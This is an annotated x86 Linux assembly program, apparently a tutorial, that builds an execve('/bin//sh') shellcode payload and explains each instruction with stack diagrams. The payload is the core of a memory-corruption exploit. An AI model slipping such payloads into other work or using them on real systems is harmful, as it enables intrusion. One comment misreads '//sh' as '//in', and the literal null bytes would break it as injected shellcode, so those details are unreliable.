; Complete explanation of assembly program which is used to extract Linux-x86 execve shellcode


section .text
	global _start

_start: 
	
	; Job1: Store the string "/bin//sh" in the stack. 
	
	push 0x00		; Push 0x00 to make the string NULL terminated. 
	push 0x68732f2f		; Pushing "//in" in reverse order. Keep in mind the little-endianess of Intel processors. 		
	push 0x6e69622f		; Pushing "/bin" in reverse order.

	; At this point, stack looks like this: 
	
	; esp        -->	/	b	i	n
	; esp + 0x4  -->	/	/	s	h
	; esp + 0x8  -->	0	0	0	0

	; esp points to the string '/bin//sh'
	

	mov ebx, esp		; Copying address of the string into register ebx. This is the first argument of the execve system call. 

	; Job2: Get the pointer to array of pointers. Get argv. 
	; argv[1] = NULL, argv[0] = Address of "/bin//sh"

	push 0x00		; argv[1]
	push ebx		; Pushing ebx => Pushing address of "/bin/sh"
	
	; At this point, stack looks like this: 
	
	; esp	     -->	<address of "/bin/sh" - 4 bytes>		
	; esp + 0x4  -->	0	0	0	0
	; esp + 0x8  -->	/	b	i	n
	; esp + 0xc  -->	/	/	s	h
	; esp + 0x10 -->	0	0	0	0

	; You can see that at this point, address of "/bin/sh" is (esp + 0x8)

	; esp is the pointer to array of pointers. 
	
	mov ecx, esp		; Copy the pointer to array of pointers(argv) into ecx. ecx has the second argument for execve
	
	; **envp = NULL
		
	mov edx, 0x00		; **envp = 0x00	

	mov eax, 0xb		; Write system call number of execve into eax

	int 0x80		; Issue a software interrupt

	; At this point, this process will be replaced by a new process "/bin/sh"

	; For some reason if execve returns an error, the exit() system call gets executed. 

exit: 
	mov eax, 0x01
	mov ebx, 0x00
	int 0x80
